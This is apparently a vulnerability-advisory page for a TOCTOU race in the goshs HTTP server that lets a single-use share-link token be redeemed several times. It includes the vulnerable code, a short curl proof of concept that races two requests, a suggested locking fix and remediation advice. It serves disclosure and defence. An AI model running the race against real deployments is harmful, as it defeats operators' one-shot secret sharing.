Severity by source
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
Network-accessible endpoint, token possession substitutes for no privilege requirement, race timing yields AC:H; impact is purely confidentiality with no integrity or availability consequence.
Primary rating from Vendor (https://github.com/patrickhener/goshs).
CVSS VectorVendor: https://github.com/patrickhener/goshs
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
Lifecycle Timeline
1DescriptionCVE.org
Share-link ?token=… redemption races past download limit
Ecosystem: Go Package: goshs.de/goshs/v2 (github.com/patrickhener/goshs) Affected: <= v2.0.9 (every release that shipped the share-link feature)
Summary
ShareHandler reads the share token's DownloadLimit under RLock, releases the lock, serves the file, then re-acquires the lock to increment the counter. Concurrent requests all read the same Downloaded/DownloadLimit snapshot, all pass the check, and all are served - exceeding the operator's intended cap.
Details
httpserver/handler.go:968-1018:
fs.sharedLinksMu.RLock()
entry, ok := fs.SharedLinks[token]
fs.sharedLinksMu.RUnlock() // <-- released here
if entry.DownloadLimit > 0 || entry.DownloadLimit == -1 {
// ...serve file... // <-- whole transfer happens unlocked
}
fs.sharedLinksMu.Lock() // <-- re-acquired only now
current.Downloaded++
if current.Downloaded >= current.DownloadLimit { delete(fs.SharedLinks, token) }
fs.sharedLinksMu.Unlock()Between line 978 (RUnlock) and line 1008 (Lock), any number of goroutines can interleave and each observes the same pre-increment limit.
Proof of concept
goshs -p 18000 -d /tmp/r -b admin:pw &
echo data > /tmp/r/f.txt
# operator issues a one-shot share
SHARE=$(curl -su admin:pw "http://localhost:18000/f.txt?share&limit=1")
TK=$(echo "$SHARE" | sed -n 's/.*token=\([^"]*\)".*/\1/p')
# attacker races two redemptions
curl -so /dev/null -w "%{http_code}\n" "http://localhost:18000/?token=$TK" & \
curl -so /dev/null -w "%{http_code}\n" "http://localhost:18000/?token=$TK" & \
wait
# observed: 200 / 200 (both succeed) -> limit=1 redeemed twiceReproduced 5/5 times in a row on a 2026-era M-series Mac during verification.
Impact
A "single-use" share intended to deliver a one-shot secret can be redeemed N times by N concurrent clients. Combined with any token-leak vector (mail forwarding, browser history, intercepted link, etc.) this multiplies the exfiltration window.
Suggested fix
Reserve under the write lock *before* serving - refund only if the serve fails:
fs.sharedLinksMu.Lock()
entry, ok := fs.SharedLinks[token]
if !ok || time.Now().After(entry.Expires) ||
(entry.DownloadLimit != -1 && entry.Downloaded >= entry.DownloadLimit) {
fs.sharedLinksMu.Unlock(); http.NotFound(w, r); return
}
entry.Downloaded++
if entry.DownloadLimit != -1 && entry.Downloaded >= entry.DownloadLimit {
delete(fs.SharedLinks, token)
} else {
fs.SharedLinks[token] = entry
}
fs.sharedLinksMu.Unlock()
// ...serve...Add a regression test that races two requests against a limit=1 token and asserts exactly one 200.
Reporter: Nishant Verma. Reproduced against goshs v2.0.9 (commit 8fc1e91) on 2026-05-27.
AnalysisAI
Download-limit enforcement in goshs (Go Simple HTTP Server) v2.0.9 and earlier can be bypassed by racing concurrent HTTP requests against a limited-use share token, allowing a single token to be redeemed more times than the operator configured. The TOCTOU flaw in ShareHandler means every concurrent goroutine observes the same pre-increment Downloaded counter, each passes the limit check, and each is served the file - completely defeating one-shot or low-count share-link controls. A working proof-of-concept is publicly documented in the GitHub security advisory (GHSA-j48m-h7xq-2xpj) with 5/5 consistent reproductions; no active exploitation is confirmed in CISA KEV.
Technical ContextAI
The affected code is httpserver/handler.go lines 968-1018 in the goshs.de/goshs/v2 Go module (CPE: pkg:go/goshs.de_goshs_v2; GitHub: github.com/patrickhener/goshs). The root cause is CWE-362 - Concurrent Execution using Shared Resource with Improper Synchronization, classically described as a TOCTOU (Time-of-Check Time-of-Use) race. The SharedLinks map is protected by a sync.RWMutex, but the implementation acquires RLock only to read the current Downloaded/DownloadLimit snapshot, immediately releases it, serves the entire file transfer with no lock held, then re-acquires a write lock afterward to increment the counter. Go's HTTP server dispatches each inbound request into its own goroutine, so N concurrent requests all read the same pre-increment state, all independently satisfy the limit predicate, and all proceed to serve before any single increment is committed - making the configured cap effectively unenforceable under concurrent load.
RemediationAI
No specific patched release version is named in the available advisory data - operators should monitor the goshs GitHub repository (https://github.com/patrickhener/goshs) for a release superseding v2.0.9 that incorporates the fix described in GHSA-j48m-h7xq-2xpj. The advisory's suggested fix moves the limit check and counter increment inside a write lock before file serving begins, with a decrement path if the transfer fails - this is the correct architectural resolution. As an interim compensating control, operators should avoid using the share-link DownloadLimit feature for single-use secret distribution until the patch is applied, as the limit provides no reliable guarantee under concurrent access. A secondary workaround is to restrict network access to the goshs instance to a trusted IP range, reducing the population of concurrent clients that could race the endpoint; this reduces exposure but does not eliminate the race for clients within the allowed range. Patch availability beyond the described code change is not independently confirmed from the provided data.
Same weakness CWE-362 – Race Condition
View allSame technique Race Condition
View allVendor StatusVendor
SUSE
Severity: Moderate| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
Share
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-60950
GHSA-j48m-h7xq-2xpj